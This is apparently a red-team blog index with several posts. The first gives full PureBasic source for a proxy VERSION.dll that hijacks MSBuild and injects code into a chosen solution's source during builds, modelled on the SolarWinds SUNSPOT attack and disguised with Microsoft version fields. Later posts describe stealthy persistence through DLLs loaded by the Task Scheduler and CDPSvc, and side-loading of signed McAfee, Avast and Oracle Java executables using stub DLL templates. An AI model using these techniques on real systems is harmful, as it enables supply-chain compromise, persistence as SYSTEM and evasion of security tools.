All Entries
Backdooring MSBuild
In 2020, different United States federal government branches were affected by a massive data breach. One part of these efforts was an attack on SolarWinds and their platform, including the build-infrastructure of their flagship product, SolarWinds Orion. On January 11th, 2021, the CrowdStrike Intelligence Team published an analysis of a malicious tool deployed into SolarWinds’ build environment to inject the SUNBURST backdoor into the SolarWinds Orion platform at build-time.
The CrowdStrike blog post was referred to me by a colleague. Initially, I
thought it was pretty sloppy of the SUNSPOT developers to search for
MSBuild.exe
processes every second, then read the virtual memory of these
remote processes to determine if the right solution is being build right now.
In addition to all this noise, the SUNBURST attackers created a
Scheduled Task to start the implant on every boot.
If one imagines that you are a top of the line attack boutique and compromised different hard targets, including the build-infrasturcture, why do you resort to such a crude way to execute that beautiful implanting attack?
So how could one do better?
MSBuild Revisited
So, MSBuild, the Microsoft engine for building applications, uses (most of the time) XML files to steer the targeted solution’s build process.
One of the first things you’ll notice when inspecting the MSBuild.exe
binary
is that it is itself a .NET Assembly. So what is the best way to backdoor
(almost) any .NET Assembly?
… right, using the version.dll
trick.
After running a quick build of an arbitrary solution (e.g. via
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe SomeProject.sln /t:Build /p:Configuration=Release;Platform=Win64
)
and recording a trace with ProcMon,
multiple DLLs are searched in the directory of MSBuild.exe
:
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ole32.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-string-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sxs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WindowsCodecs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe"}
Given these results, we can target MSBuild.exe
or the C# compiler (Csc.exe
)
directly, depending on our preferences and objectives. As CrowdStrike mentioned,
the implant checked for the right solution being built, so we also will target
MSBuild.exe
in our tests.
VERSION.dll
Structure
For our purposes, it is enough to know that VERSION.dll
exports 17 names, which
we need to implement (or forward) to ensure the target’s functionality is
not impaired.
__export_name(GetFileVersionInfoA)
__export_name(GetFileVersionInfoByHandle)
__export_name(GetFileVersionInfoExA)
__export_name(GetFileVersionInfoExW)
__export_name(GetFileVersionInfoSizeA)
__export_name(GetFileVersionInfoSizeExA)
__export_name(GetFileVersionInfoSizeExW)
__export_name(GetFileVersionInfoSizeW)
__export_name(GetFileVersionInfoW)
__export_name(VerFindFileA)
__export_name(VerFindFileW)
__export_name(VerInstallFileA)
__export_name(VerInstallFileW)
__export_name(VerLanguageNameA)
__export_name(VerLanguageNameW)
__export_name(VerQueryValueA)
__export_name(VerQueryValueW)
Proof of Concept (PoC)
The following section describes a crude PoC that implements the backdoor functionality in a DLL without the need for reading remote process memory or triggering a process search every second.
The PoC will be written in PureBasic, as no sane attacker will implement his implant in it and copy-pasting of this source is therefore not a concern ;-)
Objectives
The implant should have the following characteristics:
- no additional running processes
- no remote process actions (reading/ writing remote process memory, etc.)
- only trigger on the right solution being build
- insertion of the backdoor during the build process
- removal of the backdoored source file after the build process
Implementation
As we saw earlier, the VERSION.dll
file is loaded very early by the .NET
runtime. By implementing mock-functions, it is possible to verify that the
DLL is not only loaded, but the function GetFileVersionInfoSizeW
is called
right before the build process is executed, as shown in the following figure.
Given that, it is possible not to rely on any half-baked solution in the
DllMain function and get around any problems with the Loader Lock by simply
hijacking the call GetFileVersionInfoSizeW
, executing our backdoor insertion
code, then calling the real GetFileVersionInfoSizeW
function and returning its
result.
In the PoC presented below, the backdoor is inserted in the call to
GetFileVersionInfoSizeW
. The source is saved in memory, and
as soon as DllMain is called with DLL_PROCESS_DETACH
, the backdoor-code is
removed by restoring the previous source code.
Conclusion
Targeting MSBuild directly by copying our VERSION.dll
to the MSBuild
directory, ensures better operational security as no additional processes need
to be created, the memory search can be omitted and every build is captured,
as our code is directly executed by MSBuild.
Source
Source and a compiled binary is available in the blog’s Github repo.
; ***************************************************************************
; * *
; * Author: marpie (marpie@a12d404.net) *
; * License: BSD 2-clause *
; * Copyright: (c) 2021, a12d404.net *
; * Status: Prototype *
; * Created: 20200116 *
; * Last Update: 20200117 *
; * *
; ***************************************************************************
EnableExplicit
; ---------------------------------------------------------------------------
;- Consts
#TARGET_SOLUTION = "ConsoleApp1.sln"
#BACKDOOR_CODE = "public Class1() { Console.WriteLine(" + Chr(34) + "Hello from the Static initializer!" + Chr(34) + "); }"
#BACKDOOR_INSERT_AFTER = "class Class1 {"
#BACKDOOR_ALIVE = $c45c9bda8db1
#MIN_SIZE = 100 ; 100 bytes
; ---------------------------------------------------------------------------
;- Variables
Global mux.i = #Null ; set in DLL_PROCESS_ATTACH
Global hVersion.i = #Null ; orig version.dll handle
Global active.i = 0 ; checked in CleanupBackdoor
Global origContent.s = "" ; ptr to memory of the original source
Global origContentSize.i = 0 ; size of the original source
; ---------------------------------------------------------------------------
;- Backdoor Handling
Procedure.s GetTargetFilePath()
Define i.i
Define path.s
For i = 0 To CountProgramParameters()
path = ProgramParameter(i)
If CountString(path, #TARGET_SOLUTION) > 0
ProcedureReturn GetPathPart(path) + "Program.cs"
EndIf
Next
ProcedureReturn ""
EndProcedure
Procedure.b ReadOrigContent(hFile.i)
Define res.b = #False
FileSeek(hFile, 0, #PB_Absolute)
Define size.i = Lof(hFile)
Define *mem = AllocateMemory(size)
If ReadData(hFile, *mem, size) <> size
Goto ReadAllCleanup
EndIf
origContent = PeekS(*mem, size, #PB_UTF8)
origContentSize = Len(origContent)
res = #True
ReadAllCleanup:
If *mem
FreeMemory(*mem)
EndIf
ProcedureReturn res
EndProcedure
; InsertBackdoor needs to be called from a function holing mux!
Procedure.b InsertBackdoor(path.s)
Define res.b = #False
Define hFile.i = OpenFile(#PB_Any, path, #PB_File_SharedRead | #PB_UTF8)
If Not hFile
ProcedureReturn res
EndIf
; read file content
If Not ReadOrigContent(hFile)
Goto InsertBackdoorError
EndIf
; check if the right code is present
Define pos.i = FindString(origContent, #BACKDOOR_INSERT_AFTER)-1
If pos < 0
Goto InsertBackdoorError
EndIf
; revert file to 0
FileSeek(hFile, 0, #PB_Absolute)
TruncateFile(hFile)
; write content till start of backdoor
Define writeSize.i = pos+Len(#BACKDOOR_INSERT_AFTER)
Define sizeLeft = writeSize
If WriteString(hFile, Left(origContent, writeSize), #PB_UTF8) = 0
; we should add a restore of the original file here
; ... depending on the write error ...
Goto InsertBackdoorError
EndIf
; write backdoor
writeSize = Len(#BACKDOOR_CODE)
If WriteString(hFile, #BACKDOOR_CODE, #PB_UTF8) = 0
; we should add a restore of the original file here
; ... depending on the write error ...
Goto InsertBackdoorError
EndIf
; write rest of file
writeSize = origContentSize-sizeLeft
If WriteString(hFile, Right(origContent, writeSize), #PB_UTF8) = 0
; we should add a restore of the original file here
; ... depending on the write error ...
Goto InsertBackdoorError
EndIf
res = #True
InsertBackdoorCleanup:
CloseFile(hFile)
ProcedureReturn res
InsertBackdoorError:
If Len(origContent) > 0
origContent = ""
origContentSize= 0
EndIf
Goto InsertBackdoorCleanup
EndProcedure
Procedure ActivateBackdoor()
LockMutex(mux)
; check if the backdoor is already alive
If #BACKDOOR_ALIVE = active
Goto ActivateBackdoorCleanup
EndIf
; check if we have the right solution
Define targetFilepath.s = GetTargetFilePath()
If Len(targetFilepath) < 1
Goto ActivateBackdoorCleanup
EndIf
MessageRequester("ActivateBackdoor", "Hello World from Solution: " + #CRLF$ + ProgramParameter(0))
; init backdoor
If InsertBackdoor(targetFilepath)
active = #BACKDOOR_ALIVE
MessageRequester("ActivateBackdoor", "... backdoor insered ...")
Else
MessageRequester("ActivateBackdoor", "... backdooring failed ...")
EndIf
ActivateBackdoorCleanup:
UnlockMutex(mux)
ProcedureReturn
EndProcedure
Procedure CleanupBackdoor()
LockMutex(mux)
If #BACKDOOR_ALIVE = active
active = #Null
; Do cleanup here
If origContentSize <> 0
Define hFile.i = CreateFile(#PB_Any, GetTargetFilePath(), #PB_UTF8)
If hFile
WriteString(hFile, origContent, #PB_UTF8)
CloseFile(hFile)
EndIf
origContent = ""
origContentSize = 0
EndIf
EndIf
CleanupBackdoorCleanup:
UnlockMutex(mux)
ProcedureReturn
EndProcedure
; ---------------------------------------------------------------------------
;- DllMain Stuff
ProcedureDLL AttachProcess(Instance)
mux = CreateMutex()
EndProcedure
ProcedureDLL DetachProcess(Instance)
CleanupBackdoor()
EndProcedure
; ---------------------------------------------------------------------------
;- orig VERSION.dll Stuff
Procedure.i LoadVersionDll()
Define res.i = #Null
LockMutex(mux)
If #Null = hVersion
; load version.dll
Define dllPath.s = GetEnvironmentVariable("windir") + "\system32\version.dll"
hVersion = OpenLibrary(#PB_Any, dllPath)
EndIf
res = hVersion
CleanupLoadVersionDll:
UnlockMutex(mux)
ProcedureReturn res
EndProcedure
;BOOL GetFileVersionInfoA(
; LPCSTR lptstrFilename,
; DWORD dwHandle,
; DWORD dwLen,
; LPVOID lpData
;);
ProcedureDLL.i GetFileVersionInfoA(a1.i, a2.l, a3.l, a4.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoA", a1, a2, a3, a4)
EndProcedure
;BOOL GetFileVersionInfoExA(
; DWORD dwFlags,
; LPCSTR lpwstrFilename,
; DWORD dwHandle,
; DWORD dwLen,
; LPVOID lpData
;);
ProcedureDLL.i GetFileVersionInfoExA(a1.l, a2.i, a3.l, a4.l, a5.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExA", a1, a2, a3, a4, a5)
EndProcedure
;BOOL GetFileVersionInfoExW(
; DWORD dwFlags,
; LPCWSTR lpwstrFilename,
; DWORD dwHandle,
; DWORD dwLen,
; LPVOID lpData
;);
ProcedureDLL.i GetFileVersionInfoSizeExW(a1.l, a2.i, a3.l, a4.l, a5.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeExW", a1, a2, a3, a4, a5)
EndProcedure
;DWORD GetFileVersionInfoSizeA(
; LPCSTR lptstrFilename,
; LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoSizeA(a1.i, a2.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeA", a1, a2)
EndProcedure
;DWORD GetFileVersionInfoSizeExA(
; DWORD dwFlags,
; LPCSTR lpwstrFilename,
; LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoSizeExA(a1.l, a2.i, a3.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeExA", a1, a2, a3)
EndProcedure
;DWORD GetFileVersionInfoSizeExW(
; DWORD dwFlags,
; LPCWSTR lpwstrFilename,
; LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoExW(a1.l, a2.i, a3.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExW", a1, a2, a3)
EndProcedure
;DWORD GetFileVersionInfoSizeW(
; LPCWSTR lptstrFilename,
; LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoSizeW(a1.i, a2.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExW", a1, a2)
EndProcedure
;BOOL GetFileVersionInfoW(
; LPCWSTR lptstrFilename,
; DWORD dwHandle,
; DWORD dwLen,
; LPVOID lpData
;);
ProcedureDLL.i GetFileVersionInfoW(a1.i, a2.l, a3.l, a4.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoW", a1, a2, a3, a4)
EndProcedure
; int hMem, LPCWSTR lpFileName, int v2, int v3
ProcedureDLL.i GetFileVersionInfoByHandle(a1.i, a2.i, a3.i, a4.l)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoByHandle", a1, a2, a3, a4)
EndProcedure
;DWORD VerFindFileA(
; DWORD uFlags,
; LPCSTR szFileName,
; LPCSTR szWinDir,
; LPCSTR szAppDir,
; LPSTR szCurDir,
; PUINT puCurDirLen,
; LPSTR szDestDir,
; PUINT puDestDirLen
;);
ProcedureDLL.i VerFindFileA(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerFindFileA", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure
;DWORD VerFindFileW(
; DWORD uFlags,
; LPCWSTR szFileName,
; LPCWSTR szWinDir,
; LPCWSTR szAppDir,
; LPWSTR szCurDir,
; PUINT puCurDirLen,
; LPWSTR szDestDir,
; PUINT puDestDirLen
;);
ProcedureDLL.i VerFindFileW(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerFindFileW", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure
;DWORD VerInstallFileA(
; DWORD uFlags,
; LPCSTR szSrcFileName,
; LPCSTR szDestFileName,
; LPCSTR szSrcDir,
; LPCSTR szDestDir,
; LPCSTR szCurDir,
; LPSTR szTmpFile,
; PUINT puTmpFileLen
;);
ProcedureDLL.i VerInstallFileA(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerInstallFileA", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure
;DWORD VerInstallFileW(
; DWORD uFlags,
; LPCWSTR szSrcFileName,
; LPCWSTR szDestFileName,
; LPCWSTR szSrcDir,
; LPCWSTR szDestDir,
; LPCWSTR szCurDir,
; LPWSTR szTmpFile,
; PUINT puTmpFileLen
;);
ProcedureDLL.i VerInstallFileW(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerInstallFileW", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure
;DWORD VerLanguageNameA(
; DWORD wLang,
; LPSTR szLang,
; DWORD cchLang
;);
ProcedureDLL.i VerLanguageNameA(a1.l, a2.i, a3.l)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerLanguageNameA", a1, a2, a3)
EndProcedure
;DWORD VerLanguageNameW(
; DWORD wLang,
; LPWSTR szLang,
; DWORD cchLang
;);
ProcedureDLL.i VerLanguageNameW(a1.l, a2.i, a3.l)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerLanguageNameW", a1, a2, a3)
EndProcedure
;BOOL VerQueryValueA(
; LPCVOID pBlock,
; LPCSTR lpSubBlock,
; LPVOID *lplpBuffer,
; PUINT puLen
;);
ProcedureDLL.i VerQueryValueA(a1.i, a2.i, a3.i, a4.l)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerQueryValueA", a1, a2, a3, a4)
EndProcedure
;BOOL VerQueryValueW(
; LPCVOID pBlock,
; LPCWSTR lpSubBlock,
; LPVOID *lplpBuffer,
; PUINT puLen
;);
ProcedureDLL.i VerQueryValueW(a1.i, a2.i, a3.i, a4.l)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerQueryValueW", a1, a2, a3, a4)
EndProcedure
; ---------------------------------------------------------------------------
; IDE Options = PureBasic 5.73 LTS (Windows - x64)
; ExecutableFormat = Shared dll
; CursorPosition = 85
; FirstLine = 60
; Folding = -----
; Executable = version.dll
; CompileSourceDirectory
; EnablePurifier
; IncludeVersionInfo
; VersionField2 = Microsoft Corporation
; VersionField3 = Microsoft® Windows® Operating System
; VersionField5 = 10.0.20190.1000 (WinBuild.160101.0800)
; VersionField6 = Version Checking and File Installation Libraries
; VersionField7 = version
; VersionField8 = VERSION.DLL
; VersionField9 = © Microsoft Corporation. All rights reserved.
; VersionField15 = VOS_NT
; VersionField16 = VFT_DLL
Persistence using Task Scheduler without a Scheduled Task
TL;DR: The Windows Task Scheduler service (Windows 10 and Windows Server 2016) try to load the non-existing DLL WptsExtensions.dll
from %windir%\system32
enabling persistence as NT AUTHORITY\SYSTEM
.
A couple of days ago I talked with a colleague and the topic turned to persistence and quickly to Scheduled Tasks. Personally, I don’t like Scheduled Tasks as a persistence mechanism as I think they are too obvious, noisy and every blue-teamer and admin knows about them, so you get caught quickly. After the talk I wondered if there is a way to persist with the Task Scheduler service without creating a new Scheduled Task. The following section explains the way I found. It is by no means a very original method or very stealthy, but at least a little stealthier as another task like 0neDrive Updater.
Details
With Windows 10 Microsoft introduced the WPTaskScheduler.dll
(WP Task Scheduler DLL) that is loaded by the following stack:
- schedsvc.dll -> ServiceMain()
- schedsvc.dll -> JobsService...
- schedsvc.dll -> JobsService::Initialize()
- schedsvc.dll -> JobsService::InitializeWPTS()
The InitializeWPTS
-function loads WPTaskScheduler.dll
and resolves WptsInitialize
as shown in the following screenshot.
After the function is correctly resolved it gets called and that enables us to persist. One of the first tasks inside WPTaskScheduler.dll::WptsInitialize()
is to call InitializeWPTS()
. That function in turn loads the non-existing WptsExtensions.dll
and resolves the following functions, if the DLL was found and loaded correctly:
So how do I persist now?
The easiest way to persist is to create a DLL exposing the required functions (see above) and copying that DLL to %windir%\system32\WptsExtensions.dll
. Reloading the scheduler service loads our DLL. Most of the time if you are already on the system executing code you don’t need to reload the Task Scheduler service, but post-exploitation tactics vary depending on the operator…
The cherry on top …
Sometimes our favorite C2 framework is not that stable, so payloads crash or get stuck. The nice thing, if we implement only stub-functions for the required Wpts...
exports is, that the WP Task Scheduler module is not initialized correctly which means, that the JobsService will call our ThreadAttach and ThreadDetach functions multiple times an hour.
Using this circumstance we can implement a checkAlive function that tries to determine if our beacon is still functioning correctly and if not the beacon-thread can be killed and a new beacon-thread is spawned resuming the C2 connection without manual intervention of the operator.
Windows 10 Persistence via PATH directories - CDPSvc
TL;DR: CDPSvc searches the file cdpsgshims.dll
inside PATH directories and loads it if found.
CDPSvc is the Connected Devices Platform Service, enabled by default under Windows 10 (since 1607). If an attacker is able to write in any directory specified in the system PATH, this allows to persist on the system as NT AUTHORITY\LocalService.
The issue is not considered a security-vulnerability, but rather a security-relevant misconfiguration. With a default Windows installation, there can’t be a non-admin directory in the PATH, so this can’t be exploited.
Download:
A sample DLL (source included) that executes calc.exe
is available here: CDPSvcPersist
DLL Side-Loading for Fun (and Profit?) - Day 7
TL;DR: see Part 1 for an introduction to this series and an overview of the available posts.
To continue with the leaders in security information and event management
we can use the FWInstCheck.exe
tool included in the McAfee Endpoint Security product to side-load our own code.
- Name:
McAfee Endpoint Security (x64)
- Executable:
FWInstCheck.exe
- SHA256:
1ea5f32debb79f98c23918e8c246eddab323b2760696abbeafaf30c454c39982
- SHA1:
fe00e9375ac7fb3ca90ae7ed3fcd9670a3575409
- MD5:
a872d5f425658524b7dbc8972f670042
- Certificate:
McAfee, Inc./VeriSign Class 3 Code Signing 2010 CA/VeriSign Class 3 Public Primary Certification Authority - G5
DLL-Template:
; ***************************************************************************
; * *
; * Author: marpie (marpie@a12d404.net) *
; * License: BSD 2-clause *
; * Copyright: (c) 2019, a12d404.net *
; * Status: Prototype *
; * Created: 20190107 *
; * Last Update: 20190107 *
; * *
; ***************************************************************************
EnableExplicit
; ---------------------------------------------------------------------------
;- Prototypes
Macro LoopForever()
Sleep_(-1)
EndMacro
Macro DbgOutFunctionName()
OutputDebugString_("Func: " + #PB_Compiler_Procedure)
EndMacro
Macro DummyExport(proc_name)
ProcedureDLL proc_name()
DbgOutFunctionName()
LoopForever()
EndProcedure
EndMacro
; ---------------------------------------------------------------------------
;- Exports: cryptbase.dll - FWInstCheck.exe (McAfee Firewall Installer check exe)
DummyExport(SystemFunction001)
DummyExport(SystemFunction002)
DummyExport(SystemFunction003)
DummyExport(SystemFunction004)
DummyExport(SystemFunction005)
DummyExport(SystemFunction028)
DummyExport(SystemFunction029)
DummyExport(SystemFunction034)
DummyExport(SystemFunction036)
DummyExport(SystemFunction040)
DummyExport(SystemFunction041)
; ---------------------------------------------------------------------------
DummyExport(AttachProcess) ; -- just to block on AttachProcess...
ProcedureDLL DetachProcess(Instance)
DbgOutFunctionName()
EndProcedure
ProcedureDLL AttachThread(Instance)
DbgOutFunctionName()
EndProcedure
ProcedureDLL DetachThread(Instance)
DbgOutFunctionName()
EndProcedure
Download: I do not provide the executables in question as they can easily be found on the Internet and I don’t want any eager companies to send me DMCA take-down letters ;-). Hybrid Analysis / reverse.it or VirusTotal are always happy to help with downloads for these files…
A description of all executables will be collected on Github: signed-loaders
DLL Side-Loading for Fun (and Profit?) - Day 5 & 6
TL;DR: see Part 1 for an introduction to this series and an overview of the available posts.
Since I forgot to post yesterday, I merged the two posts. So below you’ll find DLL side-loading targets using Oracle Java and Avast Antivirus Business.
For Oracle Java the DLL-Template is provided below. For the Avast target, just create a DLL (wsc.dll
) with one export (called _run@4
) and execute wsc_proxy.exe
.
Avast Antivirus Business (x86)
- Name:
Avast - Antivirus Business(x86)
- Executable:
wsc_proxy.exe
- SHA256:
81aa1e5578e99de5d99d775910704aa1e92b50139fc1a1a9a5fb1d60a3a7897e
- SHA1:
03aaf714728eae7ba833bdf36be15a3136f4bb46
- MD5:
39f551472d83951eae833db975991219
- Certificate:
AVAST Software s.r.o./DigiCert High Assurance Code Signing CA-1/DigiCert High Assurance EV Root CA
Oracle Java (x64)
- Executable:
javacpl.exe
- SHA256:
2dfac2e76ac4f67d13e37d8f0f69e62d3260df8e7b1c87e264eb1db19dd54759
- SHA1:
22036de995b61ec3a7c7171acf0afc841ebc2b7d
- MD5:
7364ff9145c4a99a0975ae08bb9939a3
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
java-rmi.exe
- SHA256:
d0a0aa2d3f457a3d119765af7458ef5c41c9f8bcc3b29a8d955bc936720a8dd6
- SHA1:
904100abcac7fae1d0e981fa650e1688595029d7
- MD5:
c3bf9fa32fe17747657daca1d248fcb3
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
jjs.exe
- SHA256:
f8b2647918ea7b755bd2bb66cf236a2845f1f7e42301b0bfe3e5dcc0c455fc02
- SHA1:
413ad12bc3bfa7b034061fb886b67f91b0bba922
- MD5:
5a2034a86b64dca5f19d93c031950248
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
keytool.exe
- SHA256:
55341328a97d8244d4ced6f3bd79665171c1c17d08b0ae0982af308f674341bc
- SHA1:
38aca6498cf6abc64633b1423ee99a7bbebde093
- MD5:
68383bccc06ccb652e1c3abc4085c19c
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
kinit.exe
- SHA256:
18c62b4e5428eed573454f9c7a90fb777ad8c0a3f04470303b7b441609d44cbe
- SHA1:
33e1d205443a7f97a4203ff13ee86d94208d7f38
- MD5:
409b29ca764874eb4e1aaaf13295e0fe
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
klist.exe
- SHA256:
c7353e55514becb443f4cc4238c38cd1f5f466851e9a9bbad4738d301682ae58
- SHA1:
37eb5aa8c2a3ca8930a97e00f842ff9059d55221
- MD5:
7c5b0ef9949c0d935a0b8e61ea5c4a86
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
ktab.exe
- SHA256:
941778b2622cfd1b1c35bbd092bd5a01d68a8c501077ddd4926694997babc5ec
- SHA1:
9c529e4df520e552c2c9c22696feb9b12f0bedd1
- MD5:
f0983a787ff925ebd8940e0916a9324d
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
orbd.exe
- SHA256:
76a94f3b118bb3eb469fe64d8a50a660ed4d20d80394427df866fa6f8cd137d4
- SHA1:
1011bd5ea2e46483fd417c494a92078f64beb02f
- MD5:
67e74bbd8ab446c77464a2dff70d49c4
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
pack200.exe
- SHA256:
739e391a375e9b0dadeea859183a96a34737d6303e7d16e19f9130014500644d
- SHA1:
64af474c831c3fbede243683be48c8530155a413
- MD5:
43470b2ddbbc7733ce3174ccb0dfaa1f
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
policytool.exe
- SHA256:
2622cf15d4b9c42ced5491a929d02a4d083f13b6c1cfd9f2659f4b1dacd54c57
- SHA1:
ec128f8c4876ffcb807897b1b2e1c10c2f6ffa0e
- MD5:
e5ae58a6467f5a927068856e730980d2
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
rmid.exe
- SHA256:
f5feb44a1b2da6c09c022d427a8fb513c23a80842a5bde1c48049e10c0011449
- SHA1:
8764c9fcf91d0860ca237f537ceda735a43dd697
- MD5:
3ef59771b19e8f8c04b800072c60a8c9
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
rmiregistry.exe
- SHA256:
26dc673abadb59744acae14ed9c3471101f3581295f2fb21aa23eba01697d982
- SHA1:
7d4eb727a417db9f4b4c5d0e636784b7555bbeab
- MD5:
bd49ad337e128744b7c4829952129eb6
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
servertool.exe
- SHA256:
2b1edd3ff4a770c0ceb02719e2071a3f7faf02b716567472a771dfa13e51714a
- SHA1:
762f22176835eabee4dc3ab96936e3ed0f73f992
- MD5:
f345369270650ddd7b9f322c0ad343b0
-
Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
- Executable:
tnameserv.exe
- SHA256:
21312ed3be2818537f91614b8344e2664bb335a833427ffeb21cb2cdde4de492
- SHA1:
a3ee9b5ece6bac47387c96995e23144c2ba5738d
- MD5:
9dfe966da7007d8eec1102bf7883c739
- Certificate:
Oracle America, Inc./Symantec Class 3 SHA256 Code Signing CA/VeriSign Class 3 Public Primary Certification Authority - G5
DLL-Template (Java):
EnableExplicit
; ---------------------------------------------------------------------------
;- Prototypes
Macro LoopForever()
Sleep_(-1)
EndMacro
Macro DbgOutFunctionName()
OutputDebugString_("Func: " + #PB_Compiler_Procedure)
EndMacro
Macro DummyExport(proc_name)
ProcedureDLL proc_name()
DbgOutFunctionName()
LoopForever()
EndProcedure
EndMacro
; ---------------------------------------------------------------------------
;- Exports: deploy.dll - javacpl.exe
DummyExport(GetCurrentJavaHomeFromRegistry)
; ---------------------------------------------------------------------------
;- Exports: jli.dll for java-rmi.exe and others
DummyExport(JLI_CmdToArgs)
DummyExport(JLI_GetStdArgc)
DummyExport(JLI_GetStdArgs)
DummyExport(JLI_Launch)
DummyExport(JLI_MemAlloc)
; ---------------------------------------------------------------------------
ProcedureDLL AttachProcess(Instance)
DbgOutFunctionName()
EndProcedure
ProcedureDLL DetachProcess(Instance)
DbgOutFunctionName()
EndProcedure
ProcedureDLL AttachThread(Instance)
DbgOutFunctionName()
EndProcedure
ProcedureDLL DetachThread(Instance)
DbgOutFunctionName()
EndProcedure
Download: I do not provide the executables in question as they can easily be found on the Internet and I don’t want any eager companies to send me DMCA take-down letters ;-). Hybrid Analysis / reverse.it or VirusTotal are always happy to help with downloads for these files…
A description of all executables will be collected on Github: signed-loaders